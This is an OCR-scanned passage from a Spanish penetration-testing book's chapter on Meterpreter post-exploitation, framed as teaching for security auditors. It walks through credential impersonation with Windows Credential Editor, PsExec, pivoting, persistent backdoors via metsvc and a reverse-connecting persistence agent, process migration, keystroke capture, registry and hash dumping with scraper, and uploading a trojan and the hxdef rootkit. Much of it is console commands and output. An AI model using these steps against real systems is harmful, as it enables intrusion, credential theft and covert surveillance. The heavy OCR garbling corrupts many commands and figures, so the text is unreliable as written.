t*} Creating a new service {GnfCKeNF -’"HekedeMRSIoleh'),..

{*1 Closing service handle...

{¢] Opening servige.,.

i*] Starting the service...

1%} Removing the service...

f+1 Closing service handle...

[*] Deleting \witjBgPnM.exe..

[+] Semiing stage (752128 bytes‘ to 192.168.1.43

[*} Meterpreter session 7 open°d (192.168.1.408:4444 -> 192.168.1.41:49159) at 2012-08-31 10:09.5%
3 +6260 F04:3

meterpreter >

Fig 4.51: Suplantacién de usuario e inyeccion de payload en la maquina remota.

WCE: Windows Credential Editor
La aplicacion Windows Credential Editor permite, entre otras opciones, suplantar en Memoriy
la identidad’ def usuario. La aplicacion se puede descargar desde la siguiente URL hiyp, Mg,
ampliasecurity.com/research.html. Una vez que se dispone del listado de usuarios y hashes ge pueden
impersonalizar gracias a esta herramienta. El usuario suplantard en su méquina local al usygyiq que
requiera, para después conectar con la maquina remola automdticamente con las credencialeg (o)
suplantado.

La aplicacion presenta interesantes opciones, las cuales se enumeran en la siguiente tabla;

Pardametro ) Descripcion

-1 . Lista las sesiones abiertas por Logon en el sistema.

y Lista las sesiones abiertas y credenciales. Ademds, refresca cada §
segundos.

-8 Sustituye las credenciales de la sesién en curso.

-d Elimina las credenciales de una sesion.

- Especifica el LUID. '

-C Ejecuta una CMD con las c1edenclales espemf cas.

Tabla 4.05: Farameltros de la aplicacion Windows Credential Editor:
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lin fa imagen se puede visualizar como utilizando una maquina Windows, el auditor puede cambiar
las credenciales con las que estd logueado, con el objetivo de que cuando se conecte con olra maquina
que tenga un usuario con las mismas credenciales se autentique correctamente, sin necesidad de
conocer ta contrasefia,
gnts and. SetLings \peperESCritoriouCE-UL_ 2 JEe ce5e i
2039371)30609])3343595145411 s512B89966299703R5588CAFAGICHAL

lindous Credentials Editor) = o) 2016,2011 Nnplia Secunity
1}1, asécurity.com} : ;

‘eredentials of curvent lpgon session (RABROIETHY. o
nigtradoy : i
27D2C6AADIBAI551404EE

TOIRGBRBCAYACICHNE?GY
essl-‘ully changed?

jenLE and: Settings \pepe\Escritoriohvee vl

Fig 4.52: Suplantacién de credenciales en memoria con Windows Credential Editos:

Por ejemplo se puede ejecutar la orden \\<direccion [P> o \<direccion IP>\CS$, donde la direccién 1P
‘es la maquina objetivo y si las credenciales de los usuarios son iguales, autométicamente se accederd
al recurso.

Yepsidn 5.
A81 Hicrpsof

npait ido “Tipe Usade cenn Comentario; .

' 34 Ly f,
ARAPHIEE ST hytes Lihves

Fig 4.53: Acceso a recursos de maquina remota con el usuario suplantado. .
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PSTools de Sysinternals , )
La suite PSTools de Sysinternals proporciona un conjunto de herramientas que permiten Ig
administracién de sisteras Windows. Este kit se puede descargar de la siguiente URL Attp://techned]
micrasofi.com/es-es/sysinternals/hb896649.asps. q

o
Si desde Meterpreter se sube alguna de estas herramientas a la méaquina retola, puede suc\éde
que si dicha maquina dispone de una solucién antivirus, se alerte al usuario victima de una posible
amenaza. Algunas de las aplicaciones de PSTools son calificadas de malware de administraciél‘
remota.

sl pepe

3 ymma}cdl Edcwit

rsspepesiserdcorionps fools B

&opbcessed ronately.
18 Hawk Hussinowich
fitsrnals.com

176061 , s
- Borporat o, Rescrvados todos

Fig 4.54: Kjecucion de una sheli remota mediante psexec y la suplantacién de credenciaies.
A continuacion se cnumeran algunas herramientas que proporcionan PSThols y sus ttiles
funcionalidades:

- FPSExec. Ejecuta procesos de forma remota. Interesante pata una vez suplantadas las
credenciales en fa memoria del equipo local, ejecutar una skell en la maquina remota.

= PSFile. Muestra los archivos abiertos en el equipo remoto.
- PSinfo. Muestra informacién sobre el equipo remoto.
- PSKill. Elimina procesos de la m&quina remota a través del PID o nombre del precese,

- PSList. Muestra informacion sobre los procesos que estan en ejecucion en la miquina
remota.

- PSLoggedOn. Muestra quién ha iniciado sesién de manera local o a tiavés de recursog
compartidos, incluyendo el origen de la conexidn.

- PSPasswd. Permite cambiar la contrasefia de Ja cuenta.

- P8Shutdown. Permite apagar y reiniciar la maquina remota.
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5. Pivoting

Esta técnica ayuda al auditor a Hegar a maquinas de la organizacién a las aue a priori no tiene

conectividad. Una vez que se dispone de una maquina vulnerada, ésta puede abrir la puerta a olras

que, por alguna razén, no tienen conectividad con la maquina del auditor. En definitiva el pivoting
_ayuda al auditor a intentar ganar acceso a maquinas con las que no se tiene conectividad directa, pere
"sta través de olra méquina vulnerada previamente.

En algunos casos, lambién se define como pivoting la posibilidad de utilizar la técnica de Pass the
hash para realizar pivoting, aunque se tenga conectividad con la miquina objetiva. Como se explico
anteriormente, puede que la méquina vulnerable y la maquina objetivo corapartan algin tipo de
credencial o hash, y si se vulnera una méquina, se puede utilizar dicha informacién para acceder a
la maquina objetivo.

Generalmente, se puede describir un procedimiento para utilizar la técnica de pivoting mediante una
'serie de pasos. Pero hay que tener en cuenta, que puede haber ocasiones en las que dependiendo de

Ja experiencia y los conocimientos del auditor para realizar pequefias variaciones, es posible que la
"técnica mejore los resultados obtenidos. '

La técnica de pivoting se puede enumerar en ef signiente procedimiento:

- Conocimiento del entorno de la méaquina vuinerada. Este primer paso se realiza en el nivel
de enlace de la maquina vulnerada, para conocer el entorno que ésta dispone.

- Enrutamiento del tréfico de la maquina vulnerada a través de la maquina del atacaate.
- Realizar escancos u otras acciones a través de la maquina vulnerada, gracias al
enrutamiento anterior.

- Por tltimo, si en las acciones anteriores se encuentran puertos abiertos se puede intenlar
realizar una explotacién sobre aiguno de estos servicios.

7. Persistencia

Una vez que se tiene acceso a una maquina vulnerada puede resultar muy interesante conseguir que
este acceso sea indefinido, en la medida de lo posible. Meterpreter dispone de varios métodos para
conseguir crear una puerta trasera en el equipo vulnerado.

Generalmente, con herramientas como Nefcat se puede publicar una shell en un puerto determinado
de la maquina victima, e incluso hacer que este proceso sc inicie autométicamente en cada arranque
de la maquina. Este procedimiento es bastante sencilio, pero dispone de un problema y es la conexi6u
directa.

Como se ha podido estudiar con el caso.de los payloads también se dispone de conexion inversa y
directa, como en los iroyanos. La conexién inversa proporcionaré ai atacante o auditor la posibilidad

_ dejar un ejecutable que quede a la escucha en un puerto y asi el atacante serd capaz de cone
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de que sea la maquina vulnerada la que se conecte a la maquina atacante cuando sea posibie. De
este modo se evitan algunos sistemas de proteccion, como por ejemplo un firewali. Aunque lmy' que
pensar que si la maquina vylnerada bloquea las peticiones salientes, hecho muy poco comyy, podria
haber problemas con la conexion inversa. T

4 idea e3
o A ) Clarse en
cualquier momento para, licitaraente, manipular dicha maquina. El problemade lu conexisy directa
es cuando fa miquina victima se encuentra detrds de un firewall, o incluso de un mourer, pey asia
razén, la conexion directa es mas comin utitizarla en escenarios corporaitvos dende la Méquina so
encuentre, fisicamente o mediante et uso de VPN u olros métodos de conexidn remota, en ef jyigrior
de fu red de la empresa.

En el caso de la conexidn divecta gs el atacante el que se conecta a la miquina vulnerada. |

S aofe n o o o> i -4 [ e o A T P ans ot foe :

Ba LSlu' apartado se comentardn fos scripis melsyc y persistence, que soii dos opciones que
proporciona Meterprefer para asegurar, £n la medida de lo posible, que se podrd volver a vy,
sesién de Meterpreter en la méquina vulnerada cuando el audilor lo necesite.

ar una

PoC: Metsve y la conexion directa

Bl script metsve crea un servicio en la maquina vulnerada, el cual se inicia al arrancar a Mmiquina
y quedara a disposicion del atacante en la maquina remota. Hay que lener en cuena que ppreve
funciona, en este ejemplo, con conexion directa. Es muy posible que sea neccsaric abrir yy, puer(o
grl\ 363( girewu/l de la mdquina vulnerada para este servicio, el cual se queda a lax escucha en ¢ puerto

|metergreter > run meisve
{*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\WINDOWS\TEMP\eMiijqDQP..,
[#]1 >> Uploading metsrv.dil... =
[*] »>» Uploading metsvc-server.exe...
[*]1 »>> Uploading metsvc.exe... '
[#] Starting the service...
* Installing service metsvc
¥ Starting service
Service metsve successfully installed.

Fig 4.55: Bjecucion de meisve.

Para gjecutar mcisve se utiliza la instruccion run metsve. Esta accidn creard un servicio en Iy maquina
vulnerada, el cual quedara a la escucha de peticiones. En tas imdgenes referentes o ia maquina
remota, se puede visualizar como existe un procese denominado mefsve, y como el puerto 31337 ¢e
encuentra abierlo.

JE y i Ae CAR a LIS A,

(B:3133 B.0:0.8:0

60.8.60:139 -0.0.8.8:0"
92°168:8.60:445¢ - 192.168:0.144:5473
A0p 4eh o 601043 - 1920168L0.59:4244 5 ESTAB)

Fig 4.56: Listado de conexiones en la méquina remota cor: mefsve a la escucha en 31317,
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wauclk, exe SYSTEM 6.544 KB

melsveexe’ SYSTEM st ;D

ctfrnon.exe Administradar 0¢

YRoxTray,exe . Administrador on

explorsr exe Administrador 0g

spoolsy, exe SYSTEM oo

svehost.exe SYSTEM 0o 3.268 kg

svchost.exe SERVICTO LOCAL 0o 6.660 KB

swchost.exe Servicio de red [l 3,424 KB

svchost.exe SYSTEM oo 21.100K8

svchost.exe Servicio de red an 3,988 KB
| svchost.exe SYSTEM £]] 4,512 KB

Fig 4.5%: Listade de procesos remotos con mefsve presente.

Una vez que sélicns instatado el servicio en la mquina remota, se ulilizard una shell sobre ia
Mmaquina vulncr’mia nara ejecutar fa instruccién que abriré el puerto en el firewall, para las congxiones

enirantes.

Para abiir una linea de comandos en Meterprefer sobre el equipo renioto se ejecuia la instruccion
shell. Bn a linea de comandos se debe ejecutar Ia instruccién netsh Sirewall add poriopening TCP
31337 metsve. De este modo e} firewall de Windows, dejard pasar estas peticiones y se podrd conectar

con meisve de manera remota.

mcterpreter » shell
Pracess 1608 created.

Channel 5 created.

icrosoft Windows XP [Versifn 5.1.2500]

' l(C). Copyright 1985-2001 Microsoft Corp.

: |

: ic:\WINDOWS\TEﬁP\eMiijqDQP>netsh firewall add portopening TCP 31337 metsve

netsh firewall add poriopening TCP 31337 metsve

i Fig 4.58: Apertura del puerto 31337 ¢n el firewall.

hora hay que ﬁxl‘obar fa conectividad. Sin cerrar la sesion de Meterpreter, se vaelve a la msfeonsole
por medio del comando background. Hay que utilizar el médulo explois/multi/handler que no sélo
se ntiliza para recibir conexiones, sino también para crearlas, es decir conexiones dircetas. Mediante
chuso de la instruccion nuse exploitimulti/andler en msfeonsole se carga el médulo,

ms{ > use exploit/multi/handler

nsf  exploit{handier) > set PAYLOAD windows/metsye_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp

msf  exploit{handler) » set RHOST 192.168.0.68

RHOST => 197.168.0.68

st exploit(handier) > set LPORT 31337

LPORT => 31337

ns{  exploit{handler) > exploit

(*] starting the payload handler...

[*] Started bind handler

[*] Meterpreter session 2 opened (192.158.8.59:48278 -> 192.168.9.60:31337) at 2912-08-31 16:57:2
7 +0200

Fig 4.59: Conliguracion médule exploit/multi/andler para conexidn con mefsve.

Capitulo 1V, Meterpreter & Post-Explotation

La configuracion de dicho médulo es sencilla, se debe utilizar el payload windows/meisve_bind 1cp,.
un payload especial de este recurso. Como se visualiza en la imagen anterior fa configuracién ed
realmente bésica, tal y como se han ido aprendiendo en este libro. {

Lis importante recalcar que hay que cambiar el puerto en la configuracion, la variable LPORT debed
tener un valor de 31337, que es cl puerto por donde se realiza la conexién con metsve, Tras la correct:
ejecucion de dicha conexidn, se obtiene una sesion de Meterprefer. Para comprobar totalmente que
el servicio se encontrard levantado tras ef reinicio de la méquina vulnerada, se recomienda al fecto

que lo compruebe en su laboratorio. .

El seript metsve dispone de un pardmetro para elimivar el servicio de la méquina vuinerada. Lag
desinstalacién de éste se provoca con la ejecucion de run meisve —r. Hay que tever en cuenta que,
no se eliminarin los archivos creados en 1a instalacion del servicio, esta accion deberd ser realizada
manualmente por el usuario o atacante.

PoC: Persistence y la conexién inversa

En esta prueba de concepto se utilizara el script persistence para conseguir que la maquina vulnerada
sea la que se conecte al usuario atacante o auditor. Este es un ejemplo sencillo de conexién inversa
para evitar que lus sistemas de proteccién del usuario victima eviten Ia conexién con SU maquina,
Wil seript persistence dispone de varios parametros los cuales aporlan potencia y flexibilidad a esta
caracleristica, A conlinuacion se muestra una tabla con los pardmelros y una breve descripcion de

- clios. .

! Pardmetrp Descripceion .
-A Automaticaments se configura multi/handler para conectar con el agente.
-3 Auntomiticamente arranca el agente como un servicio ai iniciar ol sistema.
U El agente intenta conectar cuando se inicia sesion. i
=X Fil agente intenta coneclar cuando se inicia el sistema.
P Especifica el payioad que se va a utilizar, por defecto es windows/meterpreter/

) reverse_fep.

-T Especifica fa plantilla del ejecutable para utilizar,

snecifica el ntimero de segundos que deben pasar entre cada intento de conexién
por parte del agente,

Especifica el puerto de la maquina del atacante donde se esperard a recibir la

P cerexion,

Especifica la direccién IP a la que se conectars el agente, es decir, la direccion JP
del atacante,

Tabla 4.06: Parimetros del script persistence,
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hg;erp[ezgr > rup persistence -U -X -1 66 -p 4444 -r 192,168.6.59 .

[*] Running Persistance Script

[*] Resource file for cleanup created at /root/.msf4/logs/persistence/PRUEDAS-€1760CC_26120831.21
47/PRUEBAS - 01760CC_201268831.2147. rc

[*} Creating Payload=windows/meterpreter/reverse_tcp LHOST=192,168.6.59 LPORT=4444

i*] Persistent agent script is 614895 bytes long

i*i Persistent Script written to C:\WINDOWS\TEMP\r0iSjVrPFvDr,vbs

{*] Executing script C:\WINDOWS\TEMP\r0j5jVrPFvDr.vbs

i+ Agent executed with PID 1488

{*] Installing into autorun as HKLM\Scftware\Microsoft\Windows\Current¥ersion\fun\7086iVici

¢ Installed into autorun as HKLI\Software\Hicrosof t\Windows\CurrentVers ion\Rum\ zoBuiVici
eterpreter >

Fig 4.60: Ejecucion del script persistence.
£n la imagen se puede visualizar como se ianza el script persistence con ia siguiente configuracion:
- Elagente instalado en la maquina vulnerable intentard conectar cuando se inicie el sistema
y cuando se inicie la sesidn.
- Realizar4 inientos de corexion cada 60 segundos..

- Intentard conectarse al puerto 4444 en la direccidn 1P 192.168.0.59
{Como se recibe la conexion por parte del agente? Se utilizara exploit/multi/handler tal y como se ha
realizado en casos anteriores. La configuracion del médulo es la habitual, es decir payload windows/
eterpreler/reverse_tcp o el que se haya configurado al agente con el pardmetro —P, la direccion IP
de la maquina del atacante asignada a la variable LHOST y el puerto en la variable LFORT.

usf > use exploit/multishandler

nsf exploit{handler}) » set PAYLOAD windows/meterpreter/reverse_tcp
AYLOAD => windows/meterpreter/reverse tcp

st exploit(handler) > set LHOST 192.168.8.59

HOST => 192,168.8.59

usf  exploit(handler} > set LPORT 4444

PORT => 4444

usf  exploit{hamiler) > exploit

[*} Started reverse handler on 192.168.6.59:4444
{*] Starting the payload handler...

Fig 4.61: Configuracion del médulo exploit/multi/handler para recibir conexiones de persistence:

’ L . :

Ahiora toca esperar a que la miquina vulnerada se encienda, en el caso de que se encontrase apagada,
b de que transcurran los segundos de reintento de conexion facilitados en el pardmetro —i en la
ponfiguracion del agente.

exploit{handler) > exploit

{*] Started reverse handler on 192.168.6.59:4444

[*] starting the payload handler...

{+} Sending stage (752128 bytes) to 192.168.0.60

[#*] Meterpreter session 1 opened (192.168.0.59:4444 -> 192.168.0.60:1060) at 2012-68-31 17:32:00

Fig 4.62: Conexidn recibida por multifhandler del agente de persistence.

Capitulo 1V. Meterpreter & Post-Explotation

8. Migracién a un proceso

Cuando se realiza la fase de explotacién y se consigue introducir un payload en la memoria de fa
magquina victime, se produce la vulneracion de un proceso. En otras palabras, utt payiloud, como
por ejemplo Metcrpreter se inyecia en un proceso de la maquina haciéndose pasar por uno de'elios,
coma por ejemplo el tipico nofepad.exe o svchost exe.

Bl seript post/windows/manage/migrate o' et comando migrate permite migrar de Uit proceso a olro
ia sesion de Mererpreier. {Con qué abjetivo? Es sencillo, cuando un atacante obtienc una sesion de
Meiterpreter éste se inyeeta en el proceso vulnerado. Si la victima cerrase dicho proceso la sesion de
Meterpreter se cerratia. Por ejemplo, mediante un ataque al navegador web de un usuario se obtiene
una sesion de Meterpreter, si el usuario cerrase el proceso del navegador, porque CierTa la aplicacion
por gjemplo, el atacante se quedaria sin la conexién.

tMuchos de los exploits disponen de la automigracién, con la que nada mas conseguir el acceso a la
maquina valnerada se migran a otro proceso. Esto se especifica con posibilidad de AutoRunScript,
donde se especifica la orden que se debe ejecutar al conseguir Ia explotacion. i,[')f"“de s¢ localiza
AutoRunScript? Cuando se encuentre el médulo del exploif cargado se puede utilizar el comando
show advanced para listar las opciones avanzadas del médulo, Entre dichas opcloncs s¢ encuentrh
AutoRunScript.

msf expleit{msd8_B67_metapi) > set AutoRunScript multi_console command -rc /rout/pruebasutoRun.
e

AutoRunscript => multi_console_command -rc /root/pruebadutoRun. rc
st exploit(mso8_D67_netapi) > exploit

[*] Started reverse handler on 192.168.1.48:4444

[*] Automatically detecting the target...

{*] Fingerprint: Windows XP - Service Pack 3 - lang:Spanish

{*] Selected Target: Windows XP SP3 Spanish (NX)

{*] Attempting to trigger the vulnerability...

[*] Sending stage (752128 bytes) to 192.168.1.35

[*] Reterpreter session 5 opened (192.168.1.40:4444 -> 192.168,1.35:1424) at 2812-08-31 17:57:13
+0208

meterpreter » . .
[*] Session ID 5 (192.168.1.46:4444 -> 192.168.1.35:1424) processing AutoRunscript multi consol
e _command -rc /root/pruebaAutofun.rc’ .

{*} Running Command List ...

{*] Running command run checkvm

{+] Checking if target is a virtual Machine .....

1*} This is a Sun VirtualBox Virtual Machine

[*} Running command run post/windows/manage/migrate

{#] Running module against PRUEBAS-91766CC

[*] Current server process: svchost.exe (1112)

{#1 Spawning notepad.exe process to migrate to

l+] Migrating te 11¢0

f+] Successfully migrated to process 110@

{meterpreter > T ———
.

3 . - iy . " . . .y ran Gy
Fig 4.63: Configuracion y ejecucion de AutoRunSeript con migracién en el arrd 1
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Una opeion muy inleresante para AutoRunScript es la posibilidad de preparar un archivo RC, de
automatizacion y ejecutar la instruccion ser AutoRunSeript multi_console_commend —re <rula
Jichero RC>. Tin el laterior de dicho archivo RC deberian encontrarse todas las ordenes que se
quieren ejecutar, por ejemplo run migrate, run checkvm, etcétera. Siendo una instruceion cada linea
det fichero RC.,

Migraie propotciona migracidn a oiros procesos en cualquier momento. Se puede ejecutar sin
padmetros por lo que migrard a un proceso con nombre nofepad por ejemplo, con un pardmetro
indicando ¢f PITY al que se quiere migrar. Puede ocurrir que al ejecutar migrate se oblenga una
denegacion en ia migracion. Esto sucede debido a que no se tienen privilegios sobre el proceso aj
gue se quiere migrar, para solucionar esto se deberfa realizar una escalada de privilepios como se ha
estedindo 2n este capfiulo.

PoC: De proceso a proceso capturando pulsaciones

In esta prueba de concepto se realizarén pruebas que demuestren lo senciilo que, puede ser ir
migranda de proceso en proceso, siempre y cuando los permisos lo permitan. En primer lugar se
verd come un usuario sin privilegios sobre un proceso de sistema no puede migrar la sesidn a dicko
proceso. '

meterpreter » getuid -

Server username: PRUEBAS-81768CC\Administrador
meterpreter » migrate 1460

{+] migrating to 14e6...

t-1 core_migrate: Operation failed: Access is deniad,
meterpreter » getsystem

...got system (via technique 1}.

meterpreter > migrate 1486

[+] Migrating to 1408...

[#] Higration completed successfully.
meterpreter »

Fig 4.64: Intento de migracion erréneo y posteriormente satisfactorio.

En la imagen se puede visualizar como al principio el auditor tenia como identilad el usuario
“Adwinisirador”. Al intentar realizar una migracion a un proceso perteneciente a System, se produce
el error. Para elevar privilegios, en una maquina Windows XP SP3, se utiliza el comando getsystem,
Al conseguir los privilegios necesarios, se puede [levar a cabo la migracién al proceso 1400, que era
el primer objelivo,

Ademds, se puede imaginar el escenario en el que se quieran capturar las pulsaciones o entradas de
los procesos, por ejemplo un notepad. La funcionatidad de keyscan, ya comentada anteriormente en
este capitulo, ayuda a recoger la informacion que, por ejemplo la victima teclea en su méquina. Otro
ejemplo valido serfa la captura de pulsaciones del navegador web de la victima.

Para capturar las entradas o pulsaciones de un proceso concreto se utiliza el comando keyscan_start.
Anles de parar el keypycan se debe volcar el contenido mediante el uso del comando keyscan_cump.

weterprater > run scraper i¥] Exnorting TKCC

i+] New session on 192 168.5.62:44%, .. H*) Downloading HKCC (C:\WINDOMS\TEMP\VYTZeLhk,reg)}

[#] Gathering basic system information... . 1+ Cleaning HKCC .

4] Cumping password hashes. .. I‘[‘] Exporting HKCR

[*) Obtaining the entire reglstry... {[¥] Downloading HKCR (C:\WINDOWS\TEMPXQUNTWURA. reg)

[+} Experting HKCY i{*] Cleaning HKCR

I*] Downloading HKCU (C:\WENDOWS\TEMP\qexXEigFX.reg) i[*} Exporting HKU

fr} Cleaning HKCY [#] Downloading KU (C:\WINDOWS\TEMP\SpBcQFYe.reg)

[*1 Exporting HKLM i*] Cleaning HKU :

{*] Dowrloading HKLM {C:\WINDOWS\TEMP\dbWPKLLR, reg) i[“! Completed processing on 192.168.9.62:445. ..
|[*1 Cleaning HKLH imeterpreter »

Capirulo IV Meterpreter & Post-Explotation
k ) !

: meterpreter > migrate 546
i*] Migrating to 846...
{*] Migration completed successtully.
. |meterpreter » keyscan_
keyscan_dump  keyscan_start keyscan_stop
meterprater > keyscan_start
Starting the keystroke sniffer..,

Fig 4.65: Migracién a un proceso y arranque del keyscan,

meterpreter > keyscan_dump

Dumping captured keystrokes...

<Return» <Return» hola wetasploit, se que me estas espiando,.. <Returns
mefevpreter > keyscan_dump

Dumping captured kevstrokes...

Fig 4.60: Volcado de pulsaciones de leclade con keyscan_dump.

9, Seraper

Scraper es un script que permite realizar una recogida de informacion con paries sensibles de la
estructura de un sistema operativo Windows, Scraper se encarga de recolectar informacién basica
ael cquipo como son los usuarios, fa informacion que proporciona el comando systeminfo, enumerar
los recursos compattidos de la maquina, voleado de usuarios y hashes de la misma, conexiones
activas y estadisticas de dstas, variables de entorno, grupos, servicios del sistema, etcétera, Todas
estas fimcionalidades realmenie ya se habian estudiado en este capitulo.

Lo aue realmente diferencia a scraper de olros scripts es ta recogida ¥ ﬂf:scarga de partes o arboles
del registro. For cicmplo, scraper realiza una exportacién en la mégquina vulnerada de HKCU (el
drbot del registro de Crrrent User), para después descargarlo autométicamente a la maquina del
atacante. Realiza el mismo proceso para HKLM, HKCC, HKCR y HKU. Estos ficheros de extensién
REG que se descargan pueden ser analizados a posteriori en la maquina del auditor con tranquilidad.

Fig 4.67: Ejecucidn del script scraper para la recogida de informacion.

4Donde se almacenan los archivos que autométicamente genera scraper? La rula por defectd. es
SHOME/ msf4/logs/scripts/scraper/<direccion IP>. En esta ruta se pueden vxsuahzar:unals'erie de
archivos con nombres identificativos de la informacién recogida por scraper. -
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10. Actualizando de cmd a Meterpreter

En este apartado se comentardn las posibilidades para actualizar de una cmd g una sesién de
Me'te/p‘r'lefer: Es?e hecho puede ser il cuando al ejecutar un exploit sélo se quiera pm;"r u(ent 0
aplicacion o‘el sistema operativo son vulnerables Y que ésta suposicion se realiza con éxitc;‘ ’1Elqmb; 13:11
puede ocurrir que las hecesidades cambien por lo que se necesite uin papload mas potente.. ]\;o haZc

fz]“d leﬂ“zﬂl ld ex])l(lf C 010 5S¢ p <
dacion COlnpleta S l neces;t
. . 3 itd Conocer lﬂ& OS“)lhdadeS del com l"d )
sesstons de Il'l.SjL ()”S()le. ) (

Este comando digp i ] i
s, spon LT OND 1y ol - (3, o 3 3 i thilt
s e / pone de Varios parametros interesantes, pero el que propoiciona la posibilidad de
L 3ty 2y 23 f, A
: ; ;1 /ra_; (dmt/ cualquiera a un Meierpreter cs el pardmetro —u, Trag cjecutar dicha accién se
procede a la subida del stager. a vez finali i -
lager, y una vez finalizada la subida, se procede a Iy eiceucia
froee Voterppors | dejecueion y obtencion

[ ——
L1 Command Stager pro i
1 C gress - 98.15% done (100216/102i65 bytes}
{:} gomwgnd Stager progress - 99,78% done (191888/182160 bytesi
e ending stage (752178 bytes) to 192.168.9.62
Conmand Stager progress - i86.06% done {102168/182108 bytes)

ms5f  exploit{ms08_o57 neta i) > [+
- - } 152
"E2:1570) a1 penee ! 19?35:31(+é2ggterpreter session 9 opened {192.168.0.63:4444 -» 192.168.0

nsf exploit(msﬂ&_ﬂﬂ7~netap1) > sessions

Active sessions

Id Type Information
Connection
7 shell window; ------ Micros i N
N oft Windows XP [Versi n 5.1.2600] (C) Copyri -208
rosoft Cor.., 192.168.5.63:4444 -> 192.168.6.62:1561 (152.168.0.62) ( PYTIght 1985-2001 hic

9 meterpreter X86/win3z NT AUTHORITY\SYSTEM @ PRUEBAS -61766CC
192.168.6.63:4444 -> 192.168.9.62:1576 {192.168.8.62)

Fig 4.68: Actualizacién de up payload shell a Meterpreter mediante ¢l comando sessions.

11. Railgun

o ; . . o
Uno de los aspectos mas complejos de este libro es la extension Railgun. Esta ex(ension proporciona

'21} (ltdcanle con upa SCS. 5 7 ibi .(] i ¢ COil 1a AP {
1on (]e A//elei'p eler ‘ﬂ pOS}blll ad dﬂ interact irec £
. ) uar d“el.:l'“nen‘. "

FOS SlSl‘emﬂS M/IHC/O"VS. ‘ ‘ l I l

Bista interaccion se realiza a través del comando irh de Me/erprezer, el cual permite acceder a una
Elc/)-nsola. En es.ta consola se puede escribir codigo directamente para la interaccién con la A;)! d;
Windows, pudiendo cargar DLLs en la maquina comprometida y ejecutar su cddigo después. E
fltamente recomendable visitar la URL http.’//msdn.microsoﬂ.com/erz-us/library/aa3837}319 .ar-s
jonocer en prolundidad las funciones que se encuentran en las DLLs que pueden utilizar. o
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¢Qué se puede hacer con Railgun? La respuesta es todo, ya que con Railgun se pueden invocar todas
las funciones de la APl de Windows, lo cual proporciona un potencial y flexibilidad niuy interesante.
Con Railgun se puede acceder directameénte a los dispositivos que se encuentran disponibles en
la maquina vulnerada, acceder a la memoria, mapear dispositivos, leer y escribir de disco, y un
sinfin de posibitidades. Al principio el usuario puede ser reacio a la sintaxis de Railgun, pero es
recomendable aprenderto ya que la potencia que proporciona es inigualable.

peterpreter » irh
[*} Starting IRB shell-
{*1 The 'client’ variable holds the meterpreter client

>» rg = client. railgun
> #<Rex::Post: Meterpreter: :Extensions: :Stdapi: :Railgun: :Railgunioxo00088ah2ed08 Gclieni=F<Sess
jion:meterpreter 192.168.1.35:1936 (192.156.1.35) “NT AUTHORETY\SYSTEM @ PRUERAS -Q1783CC"», @dlls=

>

Fig 4.69: Ejecucion de railgun en Meterpreter.

A continuacidn se exponen aigusos codigos de ejemplos para que se pueda conocer la interaccion
con la API de Windows y la potencia que Railgun ofrece.
# farga Railgun y ejecuta una orden

rg = client.railqgun
£g.shell32.IsliserAnAdmin

Bn este codigo se realiza la carga de Railghn, obteniendo una instancia. Ademds, se cjecuta uia
orden a través de la DLL shell32. La funcion ejecutada es fa pregunta IsUserdnddmin, de la cual se
obtendré la respuesta booleana, por ejemplo { “GetLastError "=>0, “return”=>nue).
rg.kernel32.GetCurrentProcessid )

=> {“GetLastError”=>(, “return”=>1108}

rg.kernel32.GetComputerNameA (250, 250)

=> {“GetLastError“”=>203, “return”=>true, “ipBuffer”=>"PRUEBAS- 01760CC", “1Si-
ze"=>15}

rg.user32.LockWorkStation

=> {“GetbLastError”=>0, “return”’=>0}

Enelcodigoanteriorse utilizan distintas funciones como GetCurrentProcessldo GelComputerNeamed,
de la DLL kernel32. Por otro lado, se ejecuta la funcion LockWorkStation con lo que se pucde
bioquear la maquina vulnerada, disponible en la DLL user32.

>> ry.shell32, IsuserAnAdmin

=> {"GetlastError®=>8, “return®=>true}
>> rg.kernel32.GetCurrentProcessId

5> {"GetLastError*=>8, “"return"=>1108}
>> rq.kernel32.GetComputeriameA{250,250)
=> {"GetLastError“=»203, *return*=>true, “1pBuffer"=>"PRUEBAS-91768CC", "nSize"=>15}
>> rg.user32.LockWorkStation

=> {"GelLastError"=»8, "return"=»true}

Fig 4.70: Ejecucion de funciones de la API de Windows en miquina vuleerada.

[ . . . Lo . [P csageBoxA
Como altimo ejemplo curioso se propone ejecutar la siguiente instruccion rg.usel 3{.1\/]@1 eni o
) ) ) . . r . - - 15 da ¢
(G, "hola”, "mundo™,"MB_OK"). Esta instruccién hard que se muestre un pop-iip de SISIERY o
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méquina vulnerada indicando el mensaje configurado. ;Se podria lanzar una ventana que simule una
recopida de credenciales? De nuevo, el limite estd en la imaginacién de! usuario.

i2. Otras PoC interesantes

In esie apartado se explican y detallan otras pruebas de concepto que deben ser estudiadas
paty entenderse correclamente. A to largo del capitulo se han ido estudiando el gran nimero de
posibilidades que ofrece Meferpreter, y lo importante que es un pavioad para realizar una correcta
fase de post-explotacion. A continuacién se explicardn interesantes pruebas de conceplo (e
completan un interesante capitulo sobre el mejor payload disponible en Metasploii segin la mayoria
de fos usuarios.

PoC: Meterpreter, troyanes y rootkits educativos

En esta prueba de concepto se presenta la posibilidad de subir un troyano a fa maquina vulnerada y
ocultarlo mediante el uso de un rootkit. Para ¢l desarrollo de esta prueba de concepto se ha utjlizado,
fanto un troyano como un rootkit educativo. La idea de estos dos tipos de malware no es realizar
acciones malignas sobre las victimas, y si explicar ef funcionamiento de estc tino de aplicaciones, B
uso de ambos es realmente sencillo como se puede ver en la prueba de conceplo,

Bl roorkit utilizado es Hacker Defender, también conocido como hxdef, mientras que el troyuno
utilizado es Flu, ef cual puede ser descargado de la URL http./fwww flu-project.com/downloadflu/
Sl Bl punto de partida de la prueba de concepto es una sesién de Meterpreter obtenida mediante In
explotacion de una vulnerabilidad en la fase previa a la de post-exploiacién,

Para subir cl ejecutable del troyano, como del rootkit, desde 1a sesion de Meterpreter se utiliza el
comando upload. Bl troyano estd compuesto de! ejecutable, mientras que ¢l rootkit depende de
su fichero INI de configuracién, que también debe ser subido junto a su ejeculable, En la imagen
se puede visualizar la subida del troyano y de los ficheros del rootkit, ademas de la eiecucion de
ejecutable del troyano.

meterpreter > upload /root/flu.exe c:\\windows\\system32
t#]1 uploading : /root/flu.exe -» C:\windows\system32
[*] uploaded : /root/flu.exe -» c:\windows\system32\flu.exe

meterpreter > upload /root/hxdef/hxdef108.
[*] uploading : /root/hxdef/hxdef100.exe
